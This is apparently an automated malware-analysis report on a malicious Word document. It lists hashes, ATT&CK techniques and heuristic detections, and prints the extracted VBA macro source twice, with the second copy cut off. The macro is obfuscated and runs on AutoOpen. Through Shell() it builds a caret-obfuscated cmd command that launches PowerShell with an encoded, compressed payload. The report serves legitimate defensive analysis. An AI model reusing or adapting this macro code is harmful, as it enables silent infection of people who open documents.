Office (OLE) malware analysis — malicious · 262e7943715ea056

MALICIOUS

Office (OLE)

99.5 KB Created: 2018-06-06 21:10:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: 46bc0af1589000f0b022b01c05bb7a60 SHA-1: d0797b465f6477758ebaab334014f56fb0973d8d SHA-256: 262e7943715ea05670381fb0128ee884c8dcf5895a5e499bdaeb8528ffa65649

150 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Word document containing a VBA macro. The Autoopen macro triggers the execution of a Shell() command, which is a common technique for downloading and executing further malicious content. The obfuscated nature of the script prevents a more detailed analysis of the payload, but the intent to execute arbitrary commands is clear.

Heuristics 6

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

BVZFOP = CStr(Fwwqk * Tan(KQdco * Int(JlotWU * Sqr(62827) / JZRDXk + Fix(19368)) / 77222 * Round(94074 / Log(13665 - kUZprW) + 83217 - BqqNpm)) / 28534 + CByte(59482))
IPRtA = DPtRjKLIK + Shell(rwiGi + Chr(GXvFYjcK + vbKeyC + fJdpMj) + XOkDuDslYY + uvfjpiAWdts + YajlzbwFo + wCvZoWEMNWl + nvAHtOK, 36270 - 36270)
NbCkh = CStr(QffuS * Tan(JWTWBE * Int(jvzXfV * Sqr(59736) / TMbRI + Fix(10531)) / 18889 * Round(51847 / Log(40512 - qDCJJ) + 22195 - YzrUWq)) / 78123 + CByte(65734))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13484 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13484 bytes
SHA-256: `c2015dcc526e3e01678504679505bdabc84c46fecf5f4228764e477f9b829e7d`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "mVAEjzwwN" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function IPRtA() On Error Resume Next kiJQNq = CStr(jdbIQ * Tan(jKJoiI * Int(cOEECz * Sqr(32608) / jflYv + Fix(80195)) / 35687 * Round(63031 / Log(63453 - kzvnVh) + 67981 - AHqSb)) / 26254 + CByte(77320)) BVZFOP = CStr(Fwwqk * Tan(KQdco * Int(JlotWU * Sqr(62827) / JZRDXk + Fix(19368)) / 77222 * Round(94074 / Log(13665 - kUZprW) + 83217 - BqqNpm)) / 28534 + CByte(59482)) IPRtA = DPtRjKLIK + Shell(rwiGi + Chr(GXvFYjcK + vbKeyC + fJdpMj) + XOkDuDslYY + uvfjpiAWdts + YajlzbwFo + wCvZoWEMNWl + nvAHtOK, 36270 - 36270) NbCkh = CStr(QffuS * Tan(JWTWBE * Int(jvzXfV * Sqr(59736) / TMbRI + Fix(10531)) / 18889 * Round(51847 / Log(40512 - qDCJJ) + 22195 - YzrUWq)) / 78123 + CByte(65734)) End Function Sub Autoopen() On Error Resume Next vEPEWP = CStr(MwSEc * Tan(uAvwS * Int(AbZll * Sqr(90367) / WnlzW + Fix(73923)) / 68219 * Round(45915 / Log(19150 - KQhbA) + 80822 - qHzOE)) / 83530 + CByte(49480)) IPRtA YdhJV = CStr(iJPsP * Tan(zwStmk * Int(kikjAl * Sqr(23929) / ivsRwL + Fix(49675)) / 94876 * Round(16509 / Log(4302 - onjGR) + 67345 - PNtoFc)) / 39171 + CByte(93819)) End Sub Attribute VB_Name = "ooujXJXzNXaTP" Function XOkDuDslYY() On Error Resume Next NYnLMh = CStr(IUGzBk * Tan(ssSzlZ * Int(INUjfd * Sqr(24760) / VWTQPq + Fix(11805)) / 96662 * Round(89420 / Log(97933 - vjwcA) + 71658 - zEvaV)) / 47836 + CByte(84260)) OORPJpCTYa = "md bovXTqozAVJa" + "ma BtVQB" + "hZSsJsCSMzoOW v" + "oQsYINXpmdq" FKTbjE = CStr(Jwkil * Tan(AmuYw * Int(dGJkT * Sqr(97222) / fIDvB + Fix(89351)) / 46945 * Round(45337 / Log(69630 - fTSKYX) + 233 - WzwzSB)) / 2985 + CByte(44416)) CZrzCCMh = "Wz & %^c^o" + "^m^S^p^E^c^% " + " %^c^o^m" + "^S^p^E^c^% " + "/V " + " /c " + " set %SSzz" + "bPBWCOMwm" NlwZz = CStr(UYOFDi * Tan(NzQqPF * Int(MFiIrw * Sqr(98023) / ipCti + Fix(85690)) / 20073 * Round(72280 / Log(75864 - fqzlJ) + 34722 - KmmBjc)) / 73795 + CByte(93018)) qwnIiq = "io%=U" + "MPddMddst&&s" + "et %npHju" + "RtQczBU%" + "=p&&se" + "t %SDi" + "SCDwnMj%" + "=o^w&&set %T" pIDnhD = CStr(IqYCJE * Tan(CLdUjO * Int(awQMhJ * Sqr(24345) / BNQzn + Fix(5588)) / 4091 * Round(66204 / Log(99372 - cMpvkP) + 75054 - vjpDH)) / 5322 + CByte(65000)) fGuHHUCp = "BcG" + "fQ" + "WCztAqnHv%=lBfZ" + "WjjTSR&&set %DU" + "ZPvLu" PMmbA = CStr(RwoKmM * Tan(oAddj * Int(BtiLB * Sqr(48679) / OdVwGN + Fix(30175)) / 58700 * Round(75985 / Log(80926 - YnjvsG) + 49193 - aoHiMZ)) / 52958 + CByte(91324)) TTcqLh = "zBJXjvj%" + "=!%npHjuRt" + "Qcz" + "BU%!" PkAkCY = CStr(naqEZw * Tan(AKhFsY * Int(AYmYw * Sqr(76364) / uJYiR + Fix(68357)) / 29249 * Round(5634 / Log(80278 - WPEIR) + 31060 - DiBGY)) / 59085 + CByte(39642)) jDiLJ = "&&set" + " %bs" + "VFpVFiwztw" + "iw" + "b%=iuWdYIh" + "EbbzS&&s" + "et " XaOMOM = CStr(kXtRS * Tan(HMXzUW * Int(cTzjIR * Sqr(40737) / mAWiD + Fix(90910)) / 89362 * Round(17657 / Log(1090 - bwSfhO) + 705 - uwRdID)) / 16168 + CByte(72064)) upiMk = "%oOTJzrsKCz" + "%=e^r&" + "&set %uCuboZ" + "T%=!%SDiSC" + "DwnM" + "j%!&&set %" + "kaUziWXRVa%=" XOkDuDslYY = OORPJpCTYa + CZrzCCMh + qwnIiq + fGuHHUCp + TTcqLh + jDiLJ + upiMk End Function Function uvfjpiAWdts() On Error Resume Next DcfEw = CStr(jwWXmO * Tan(MDXHtX * Int(zmjiJ * Sqr(44232) / CIsSW + Fix(35380)) / 77921 * Round(82173 / Log(62650 - miHij) + 20462 - OkPjNG)) / 1985 + CByte(19066)) wwOowzbciwi = "s&&set %WkSJ" + "nOpdhuEilF" + "L%=fpT" + "jwnEowosS" + "KR&&" + "set %M" + "KlOwLFHzaJmv%=h" UJRtwu = CStr(ShpdE * Tan(vqWXC * Int(OPiQb * Sqr(84351) / ZHpoC + Fix(83723)) / 17473 * Round(72460 / Log(95504 - ZnYrEp) + 2471 - jnwoYM)) / 82126 + CByte(7959)) OHziWiujwls = "e&&s" + "et %wkT" + "lGrSW" + "zTI%=ll&&!" + "%DUZPvLuzBJX" vVmspB = CStr(UScsmm * Tan(iwLwji * Int(JajYvE * Sqr(42877) / idzwLN + Fix(32003)) / 21203 * Round(73748 / Log(69943 - vWmNIF) + 89346 - UqNQGZ)) / 4111 + CByte(72395)) lSUCoEzt = "jvj%!!%uCuboZT%" + "!!%oOTJzr" + "sK" + "Cz%!!%ka" FUuwFj = CStr(zuoahN * Tan(YMwiGW * Int(YTAMC * Sqr(91164) / MrYJc + Fix(41849)) / 9999 * Round(34980 / Log(81404 - pnDONQ) + 38281 - GDoEI)) / 83892 + CByte(91319)) ASTwlGYAbO = "UziWXRVa" + "%!!%" + "MKlOwLFHz" + "aJmv%!!%wkTl" + "GrSW" + "zTI%! -e IAA" ihAtk = CStr(nOmDP * Tan(FrhGV * Int(sSTzK * Sqr(5065) / CvsjIi + Fix(63128)) / 27208 * Round(25769 / Log(75777 - RwElA) + 78556 - JBCFPV)) / 65185 + CByte(65546)) AnCQz = "mAC" + "AAKAAgACQ" + "AUABTAEgAbw" + "BNAEU" + "AWwA0AF0" + "AKwAkAHAAUwBI" + "AG8AbQBFAFsAMwA" + "wAF0AKwAn" + "AFgAJwApACgAb" zcvkWz = CStr(iIvhd * Tan(iCrEK * Int(YEGSiV * Sqr(2374) / dwjWw + Fix(51241)) / 68538 * Round(64966 / Log(71848 - CBTkW) + 55867 - GwoSA)) / 26226 + CByte(21007)) nBqQdjVvzVo = "gBlAFcALQB" + "vAEIASgBl" + "AGMAd" + "AAgA" + "FMAWQB" + "TAFQARQBtAC4AS" + "QBvAC4AUwB0AHI" sJusK = CStr(OVwil * Tan(YjClBR * Int(BJVoh * Sqr(57126) / XWMjd + Fix(67237)) / 40551 * Round(22792 / Log(11195 - ppaCo) + 60928 - BlAjX)) / 92200 + CByte(5363)) PbjMfUA = "AZQBhAG0" + "AcgBFAGEAZAB" + "lAHIA" + "KA" + "AgACgAbgBlAF" + "cALQBvA" + "EIASgBlA" ioJCX = CStr(MOwss * Tan(NFCHM * Int(lwLqXN * Sqr(56500) / mwdjAa + Fix(19357)) / 34749 * Round(90070 / Log(90059 - Jiwca) + 57690 - vXJwi)) / 85758 + CByte(38536)) XOBBChvqbpN = "GMAdAAgACAAUwB" + "5AFMAdABF" + "AE0ALgBJA" + "E8ALgBDAG8" + "ATQBwAFIAZQBzA" + "HMASQB" + "vAG4ALgB" + "EAEUAZgBMA" KGFsQw = CStr(YhPlQ * Tan(RwvKHw * Int(uoTkM * Sqr(26523) / GoqNk + Fix(24682)) / 12751 * Round(31143 / Log(6828 - CiPlJ) + 28620 - pNRiY)) / 27886 + CByte(73894)) IaDFdtzVJ = "GEAdABlAFMAVAB" + "yAGUAYQBNA" + "CgAIABbAGkATwAu" + "AG0ARQBNA" + "G8AUgBZAHMAdA" + "ByAGUAQQBtAF0A" uvfjpiAWdts = wwOowzbciwi + OHziWiujwls + lSUCoEzt + ASTwlGYAbO + AnCQz + nBqQdjVvzVo + PbjMfUA + XOBBChvqbpN + IaDFdtzVJ End Function Function YajlzbwFo() On Error Resume Next wRwWnU = CStr(CiSkrB * Tan(DlBui * Int(dhRlZ * Sqr(11357) / wvnhaD + Fix(74637)) / 77774 * Round(91449 / Log(14901 - QrWbkS) + 49775 - LpKjc)) / 57114 + CByte(61214)) TsQazzGIw = "WwBDAE8ATgBWAG" + "UAcgB0AF0AOgA6" + "AGYA" + "cgBP" + "AG0AYgBBAHMARQ" + "A2ADQAc" + "wBUAHIASQBOAGcA" + "KAAn" + "AFYAWgBCAGg" + "AVAA4AE" zPzNwh = CStr(hGrkJ * Tan(OLHdHi * Int(lCwzLC * Sqr(88873) / nPKDu + Fix(47948)) / 79181 * Round(48214 / Log(92228 - ziSpUs) + 64981 - iwdCD)) / 42030 + CByte(98200)) ERuET = "kAdwBFAEkAY" + "gAvAFMAagA" + "4AHMARwBVA" + "FIAbwBrAFUAU" + "gBGAEYAaABOA" + "EEAQgBVAF" + "EAU" + "gA" + "0AG8AeAA4AE" + "0AV" tvSACt = CStr(UtrhjP * Tan(ZmLjJ * Int(YvhDRv * Sqr(38548) / ckMoEF + Fix(60280)) / 87944 * Round(12066 / Log(91192 - EvwvcL) + 1667 - TXqrT)) / 24246 + CByte(6549)) WdbAJ = "ABGAGQATwBiA" + "GEATwByAFYA" + "MgA2AFkAeABzAFE" + "ALwB" zNPjH = CStr(psIfs * Tan(KkfjQs * Int(zazEr * Sqr(31550) / Aaltsb + Fix(2786)) / 78679 * Round(64468 / Log(61673 - MjiGFn) + 96099 - YqjrK)) / 51640 + CByte(52027)) IclntwjMMSA = "yAH" + "QAVgB" + "rAE0AU" + "QB2AGwAOQB3ADkA" + "NwA1AHYAMwA" + "3AHAAeABGAC" + "sAVAB" + "BAE4AeQBCADE" + "AUg" + "BVAEQAWgAxAEUAS" DpzIX = CStr(MYPGO * Tan(QaVCzp * Int(IatUM * Sqr(13134) / rERjb + Fix(36447)) / 34498 * Round(38945 / Log(95878 - jXTtWF) + 82087 - YLCwVj)) / 83160 + CByte(39774)) ZbdjtKBA = "QBOAEEAWQ" + "ByAGgAYQA2AHQA" + "UgB" + "6AEIAcgB0ACsAV" + "QBmAHgASAAvAGo" + "AWgBIAFMATwBrAH" + "IASQBGAD" ShJVl = CStr(wbIHj * Tan(vUwcWS * Int(VKlUDV * Sqr(75743) / WtjkrG + Fix(92849)) / 99194 * Round(74951 / Log(76841 - zVUSOw) + 19980 - drFVw)) / 26543 + CByte(27980)) JHqQQQEwNA = "EAQQBjAEoAO" + "QBJAFUATwBnADU" + "AbQA" + "5AEgAWQBIADYANg" + "B0ADAA" + "bwAwAFEAcwB" LjMGzw = CStr(chZWo * Tan(zUJos * Int(HAsXW * Sqr(85803) / KDQYk + Fix(44034)) / 56448 * Round(14754 / Log(70220 - ahizO) + 85542 - obVudX)) / 92450 + CByte(62612)) KHhirAB = "5ADUAagBJAGE" + "AUQBCAHAAMABM" + "AFQATw" + "BHAE8AQQ" + "A4AFMAUQBjACsAb" + "gBuAEIAZQBpAGU" sHzSI = CStr(OwoELJ * Tan(zLROBj * Int(OVtII * Sqr(67964) / WGjfUr + Fix(56827)) / 58150 * Round(42947 / Log(18765 - KjSfL) + 18972 - azcKdP)) / 42388 + CByte(24312)) DAXdz = "ANgBnAGsAUg" + "BXA" + "EcAM" + "AB1AEYAVAB0AGwA" + "TAA1ADYAbwAxAGE" + "AY" + "gBYAFAARQB" + "IAF" sXNpK = CStr(wrrHY * Tan(SLVoHz * Int(AoiKjb * Sqr(65515) / SLdRJH + Fix(36028)) / 70903 * Round(13839 / Log(16981 - Hlmbo) + 6589 - pInGWV)) / 34162 + CByte(60403)) Hvwkps = "gASwBLAHgAcQB0A" + "DIAVABXAF" + "AAUgA5AHUAdwBjA" + "HcAW" + "gB4AFYASABDADE" + "AaABrADA" + "AQwBpAHEAcQ" + "BFAG" + "oAYwBZAEQAcwBW" YajlzbwFo = TsQazzGIw + ERuET + WdbAJ + IclntwjMMSA + ZbdjtKBA + JHqQQQEwNA + KHhirAB + DAXdz + Hvwkps End Function Function wCvZoWEMNWl() On Error Resume Next jKMdN = CStr(pifOqO * Tan(zaOfnp * Int(NNtGw * Sqr(73219) / wLpHz + Fix(58088)) / 91073 * Round(67130 / Log(50489 - iGfwIv) + 50881 - WGIMs)) / 81409 + CByte(66773)) oMHGnPs = "AHUAMgA1" + "ACsAb" + "wBz" + "AEUAQQBrADMA" + "dgBGAGwASwB" + "oAF" azVRFf = CStr(CsSqGr * Tan(nQATAj * Int(IESTu * Sqr(53461) / QjTzYX + Fix(7493)) / 92303 * Round(24849 / Log(17558 - zicDpE) + 37812 - lSsMY)) / 79655 + CByte(3909)) WsOSSa = "cAQwBRAGgAMwB" + "RAEoATABIADEA" + "NwBqA" + "GcAdgBOAFgATw" + "BwAG4AaQBj" + "AFMAYQAyAD" + "MAUA" + "ByAG4A" + "aQBP" RuDwL = CStr(wlJzr * Tan(TjrDrf * Int(BiFPN * Sqr(98795) / pMYXv + Fix(18689)) / 43406 * Round(12633 / Log(73638 - JLcvi) + 82250 - qNlBFa)) / 78529 + CByte(40082)) uzFENiwnJG = "AHkAY" + "wBqAFoANwBzAHQ" + "AcwA2AH" + "YANwBkAFQAQgB" + "SAFgAV" + "wBMAGgAdQBrADAA" nAiMip = CStr(nNjNmE * Tan(LNuquj * Int(FTrKZ * Sqr(1225) / WkmjC + Fix(4509)) / 41912 * Round(42997 / Log(45573 - WUMph) + 99372 - IlfZoK)) / 70390 + CByte(90040)) zlGkdiEj = "NwA" + "2ADkAYQBWAG0A" + "dQBOAH" + "gAOQBpACsAbwBO" + "AEIARgBW" qihrBF = CStr(kQczij * Tan(LppUT * Int(UNXTO * Sqr(4636) / UohaBo + Fix(26870)) / 23614 * Round(76378 / Log(79151 - YQfbYF) + 5066 - YjTkzp)) / 32523 + CByte(40462)) QSdquvvSnh = "ADE" + "ANwBiAFUAWQB1A" + "GkAUAB2AHAAMgB2" + "AH" cKNdz = CStr(TwjCv * Tan(VpYAJw * Int(usoSQ * Sqr(29012) / DBDhkk + Fix(37661)) / 87710 * Round(68412 / Log(56951 - DYwLip) + 5115 - JDuvk)) / 81907 + CByte(86888)) Itcpbjjrz = "AAbgB0AFQAMgB" + "GA" + "EMAbAB4AHY" + "AcABRADEAdwBFAG" + "QAVQBjAEwAaAAr" aborz = CStr(VOStB * Tan(KVcGu * Int(GXDiN * Sqr(97857) / JFaJF + Fix(36668)) / 83462 * Round(83473 / Log(43055 - RvmioD) + 70616 - lokwnb)) / 77304 + CByte(2327)) LiwklFqh = "AHgAV" + "AA2AFEAaQBwAD" + "EAL" + "wB" + "VA" + "DkAMgBp" + "ADI" + "AKwArAE0ASA" + "A2AF" + "kA" wCvZoWEMNWl = oMHGnPs + WsOSSa + uzFENiwnJG + zlGkdiEj + QSdquvvSnh + Itcpbjjrz + LiwklFqh End Function Function nvAHtOK() On Error Resume Next kVKsN = CStr(anIvEN * Tan(JaodKK * Int(uRUTp * Sqr(54295) / fNRzV + Fix(7992)) / 14295 * Round(13199 / Log(42639 - ADGLq) + 61809 - ffLfK)) / 14419 + CByte(20469)) OYcjFPEUjz = "TQB1AFYA" + "YQBMADUAYwBpA" + "GcAVA" + "BPAEUAbgBwAHU" + "ALwBiAFIAUwBCA" + "Fg" + "AV" dtQTA = CStr(ClfvZq * Tan(jJSCEc * Int(GEwElN * Sqr(75197) / QfUGH + Fix(66275)) / 83926 * Round(21217 / Log(81652 - VUzSbQ) + 32064 - MwWscG)) / 59299 + CByte(65724)) OiMwiBcWq = "wA2AGcAMQB5AF" + "QASwB4ADcAUAB" + "uAEsARAB6AGIAb" + "gBSAEE" + "AdgBMAD" + "gATgBQAFUAQw" ZwMin = CStr(sUzaT * Tan(NrwcPi * Int(iodjn * Sqr(92125) / qnYCO + Fix(52342)) / 47909 * Round(45959 / Log(35215 - dFiQF) + 94460 - pwFwEY)) / 31596 + CByte(25137)) chiUVzYIHOn = "BtADcARAAyAEQA" + "bwBL" + "AGoAaQBQAGEAbAB" + "rAFEAagBOAFMATw" + "BkAEkAbgBDAC8" + "ANgBX" WDWwQ = CStr(mmNFw * Tan(LsKpZj * Int(JzrZrB * Sqr(82806) / qCmPHp + Fix(82564)) / 8741 * Round(40832 / Log(3154 - wDSwC) + 99754 - idEuJ)) / 59405 + CByte(78105)) WAVwSUbQt = "AE" + "EAbgBJAFU" + "AR" + "wBwAE" DYiif = CStr(Yivkbq * Tan(HUopnD * Int(urDpZq * Sqr(45075) / mwsHa + Fix(80820)) / 74318 * Round(36272 / Log(49738 - WbZUXM) + 52309 - LWIPE)) / 41480 + CByte(52522)) MWNOXF = "YAcAA5A" + "GIAQQBRAC8AQQBP" + "AGgAMgA4" + "AD0AJwApACAA" + "LABbAHM" WLUpE = CStr(XLwzrU * Tan(zUBOw * Int(cLZTr * Sqr(27380) / fAEWr + Fix(44833)) / 61634 * Round(44440 / Log(36884 - wkliEN) + 47079 - VHtMC)) / 13362 + CByte(3085)) hWANAvLc = "AeQBTAFQAZQB" + "tAC4ASQBPAC4AYw" + "BvAE0AUABSAEU" + "AcwBTAGk" + "AbwBuAC4AYw" Ezrws = CStr(bpIWHZ * Tan(Tnsfu * Int(dNiXz * Sqr(2743) / VHVTwz + Fix(40479)) / 73466 * Round(36469 / Log(63330 - WiUJwZ) + 64601 - wQBTB)) / 61958 + CByte(15468)) lEfbA = "BvAG0A" + "UABSAGU" + "AUwBzAEkAT" + "wBuAE0AbwBkAGU" XsVbt = CStr(vHTToY * Tan(EVAHN * Int(LjUQJ * Sqr(81537) / CfUnUn + Fix(81551)) / 89054 * Round(94473 / Log(87771 - FlamMp) + 56210 - JwtuAM)) / 77168 + CByte(43359)) WLoWTJlButq = "AXQ" + "A6A" + "DoAZABlAEMAbwBt" + "AFAAcgBFAFMA" + "cwAg" + "ACkAKQAgACwA" + "IA" + "BbAHQAZQBY" + "AFQALgBFAG4AYw" TDcMkC = CStr(QnjwBh * Tan(HbDBb * Int(YWinYj * Sqr(88668) / kTbjQ + Fix(88240)) / 50736 * Round(87072 / Log(33665 - VihWZJ) + 58269 - bhmTzL)) / 23792 + CByte(76117)) BodVkRZQ = "Bv" + "AEQAS" + "QBuAGcAXQA6AD" + "oAY" + "QBTAEMA" + "SQBpAC" + "kAIAApA" + "C4Ac" zZooD = CStr(jfTES * Tan(npOKSj * Int(BCwUIo * Sqr(10197) / WRWQT + Fix(56181)) / 42828 * Round(55602 / Log(38210 - wRZzrG) + 9318 - wnsXI)) / 58981 + CByte(59349)) uZIrlNj = "gBFAGEAZ" + "AB0AG8AZ" + "QBuAEQAKAA" + "gACkA" nvAHtOK = OYcjFPEUjz + OiMwiBcWq + chiUVzYIHOn + WAVwSUbQt + MWNOXF + hWANAvLc + lEfbA + WLoWTJlButq + BodVkRZQ + uZIrlNj End Function

SHA-256: c2015dcc526e3e01678504679505bdabc84c46fecf5f4228764e477f9b829e7d

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "mVAEjzwwN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function IPRtA()
On Error Resume Next
kiJQNq = CStr(jdbIQ * Tan(jKJoiI * Int(cOEECz * Sqr(32608) / jflYv + Fix(80195)) / 35687 * Round(63031 / Log(63453 - kzvnVh) + 67981 - AHqSb)) / 26254 + CByte(77320))
BVZFOP = CStr(Fwwqk * Tan(KQdco * Int(JlotWU * Sqr(62827) / JZRDXk + Fix(19368)) / 77222 * Round(94074 / Log(13665 - kUZprW) + 83217 - BqqNpm)) / 28534 + CByte(59482))
IPRtA = DPtRjKLIK + Shell(rwiGi + Chr(GXvFYjcK + vbKeyC + fJdpMj) + XOkDuDslYY + uvfjpiAWdts + YajlzbwFo + wCvZoWEMNWl + nvAHtOK, 36270 - 36270)
NbCkh = CStr(QffuS * Tan(JWTWBE * Int(jvzXfV * Sqr(59736) / TMbRI + Fix(10531)) / 18889 * Round(51847 / Log(40512 - qDCJJ) + 22195 - YzrUWq)) / 78123 + CByte(65734))
End Function
Sub Autoopen()
On Error Resume Next
vEPEWP = CStr(MwSEc * Tan(uAvwS * Int(AbZll * Sqr(90367) / WnlzW + Fix(73923)) / 68219 * Round(45915 / Log(19150 - KQhbA) + 80822 - qHzOE)) / 83530 + CByte(49480))
IPRtA
YdhJV = CStr(iJPsP * Tan(zwStmk * Int(kikjAl * Sqr(23929) / ivsRwL + Fix(49675)) / 94876 * Round(16509 / Log(4302 - onjGR) + 67345 - PNtoFc)) / 39171 + CByte(93819))
End Sub


Attribute VB_Name = "ooujXJXzNXaTP"
Function XOkDuDslYY()
On Error Resume Next
NYnLMh = CStr(IUGzBk * Tan(ssSzlZ * Int(INUjfd * Sqr(24760) / VWTQPq + Fix(11805)) / 96662 * Round(89420 / Log(97933 - vjwcA) + 71658 - zEvaV)) / 47836 + CByte(84260))
OORPJpCTYa = "md bovXTqozAVJa" + "ma BtVQB" + "hZSsJsCSMzoOW v" + "oQsYINXpmdq"
FKTbjE = CStr(Jwkil * Tan(AmuYw * Int(dGJkT * Sqr(97222) / fIDvB + Fix(89351)) / 46945 * Round(45337 / Log(69630 - fTSKYX) + 233 - WzwzSB)) / 2985 + CByte(44416))
CZrzCCMh = "Wz &     %^c^o" + "^m^S^p^E^c^% " + "    %^c^o^m" + "^S^p^E^c^%     " + "/V     " + "    /c         " + "  set %SSzz" + "bPBWCOMwm"
NlwZz = CStr(UYOFDi * Tan(NzQqPF * Int(MFiIrw * Sqr(98023) / ipCti + Fix(85690)) / 20073 * Round(72280 / Log(75864 - fqzlJ) + 34722 - KmmBjc)) / 73795 + CByte(93018))
qwnIiq = "io%=U" + "MPddMddst&&s" + "et %npHju" + "RtQczBU%" + "=p&&se" + "t %SDi" + "SCDwnMj%" + "=o^w&&set %T"
pIDnhD = CStr(IqYCJE * Tan(CLdUjO * Int(awQMhJ * Sqr(24345) / BNQzn + Fix(5588)) / 4091 * Round(66204 / Log(99372 - cMpvkP) + 75054 - vjpDH)) / 5322 + CByte(65000))
fGuHHUCp = "BcG" + "fQ" + "WCztAqnHv%=lBfZ" + "WjjTSR&&set %DU" + "ZPvLu"
PMmbA = CStr(RwoKmM * Tan(oAddj * Int(BtiLB * Sqr(48679) / OdVwGN + Fix(30175)) / 58700 * Round(75985 / Log(80926 - YnjvsG) + 49193 - aoHiMZ)) / 52958 + CByte(91324))
TTcqLh = "zBJXjvj%" + "=!%npHjuRt" + "Qcz" + "BU%!"
PkAkCY = CStr(naqEZw * Tan(AKhFsY * Int(AYmYw * Sqr(76364) / uJYiR + Fix(68357)) / 29249 * Round(5634 / Log(80278 - WPEIR) + 31060 - DiBGY)) / 59085 + CByte(39642))
jDiLJ = "&&set" + " %bs" + "VFpVFiwztw" + "iw" + "b%=iuWdYIh" + "EbbzS&&s" + "et "
XaOMOM = CStr(kXtRS * Tan(HMXzUW * Int(cTzjIR * Sqr(40737) / mAWiD + Fix(90910)) / 89362 * Round(17657 / Log(1090 - bwSfhO) + 705 - uwRdID)) / 16168 + CByte(72064))
upiMk = "%oOTJzrsKCz" + "%=e^r&" + "&set %uCuboZ" + "T%=!%SDiSC" + "DwnM" + "j%!&&set %" + "kaUziWXRVa%="
XOkDuDslYY = OORPJpCTYa + CZrzCCMh + qwnIiq + fGuHHUCp + TTcqLh + jDiLJ + upiMk
End Function
Function uvfjpiAWdts()
On Error Resume Next
DcfEw = CStr(jwWXmO * Tan(MDXHtX * Int(zmjiJ * Sqr(44232) / CIsSW + Fix(35380)) / 77921 * Round(82173 / Log(62650 - miHij) + 20462 - OkPjNG)) / 1985 + CByte(19066))
wwOowzbciwi = "s&&set %WkSJ" + "nOpdhuEilF" + "L%=fpT" + "jwnEowosS" + "KR&&" + "set %M" + "KlOwLFHzaJmv%=h"
UJRtwu = CStr(ShpdE * Tan(vqWXC * Int(OPiQb * Sqr(84351) / ZHpoC + Fix(83723)) / 17473 * Round(72460 / Log(95504 - ZnYrEp) + 2471 - jnwoYM)) / 82126 + CByte(7959))
OHziWiujwls = "e&&s" + "et %wkT" + "lGrSW" + "zTI%=ll&&!" + "%DUZPvLuzBJX"
vVmspB = CStr(UScsmm * Tan(iwLwji * Int(JajYvE * Sqr(42877) / idzwLN + Fix(32003)) / 21203 * Round(73748 / Log(69943 - vWmNIF) + 89346 - UqNQGZ)) / 4111 + CByte(72395))
lSUCoEzt = "jvj%!!%uCuboZT%" + "!!%oOTJzr" + "sK" + "Cz%!!%ka"
FUuwFj = CStr(zuoahN * Tan(YMwiGW * Int(YTAMC * Sqr(91164) / MrYJc + Fix(41849)) / 9999 * Round(34980 / Log(81404 - pnDONQ) + 38281 - GDoEI)) / 83892 + CByte(91319))
ASTwlGYAbO = "UziWXRVa" + "%!!%" + "MKlOwLFHz" + "aJmv%!!%wkTl" + "GrSW" + "zTI%!  -e IAA"
ihAtk = CStr(nOmDP * Tan(FrhGV * Int(sSTzK * Sqr(5065) / CvsjIi + Fix(63128)) / 27208 * Round(25769 / Log(75777 - RwElA) + 78556 - JBCFPV)) / 65185 + CByte(65546))
AnCQz = "mAC" + "AAKAAgACQ" + "AUABTAEgAbw" + "BNAEU" + "AWwA0AF0" + "AKwAkAHAAUwBI" + "AG8AbQBFAFsAMwA" + "wAF0AKwAn" + "AFgAJwApACgAb"
zcvkWz = CStr(iIvhd * Tan(iCrEK * Int(YEGSiV * Sqr(2374) / dwjWw + Fix(51241)) / 68538 * Round(64966 / Log(71848 - CBTkW) + 55867 - GwoSA)) / 26226 + CByte(21007))
nBqQdjVvzVo = "gBlAFcALQB" + "vAEIASgBl" + "AGMAd" + "AAgA" + "FMAWQB" + "TAFQARQBtAC4AS" + "QBvAC4AUwB0AHI"
sJusK = CStr(OVwil * Tan(YjClBR * Int(BJVoh * Sqr(57126) / XWMjd + Fix(67237)) / 40551 * Round(22792 / Log(11195 - ppaCo) + 60928 - BlAjX)) / 92200 + CByte(5363))
PbjMfUA = "AZQBhAG0" + "AcgBFAGEAZAB" + "lAHIA" + "KA" + "AgACgAbgBlAF" + "cALQBvA" + "EIASgBlA"
ioJCX = CStr(MOwss * Tan(NFCHM * Int(lwLqXN * Sqr(56500) / mwdjAa + Fix(19357)) / 34749 * Round(90070 / Log(90059 - Jiwca) + 57690 - vXJwi)) / 85758 + CByte(38536))
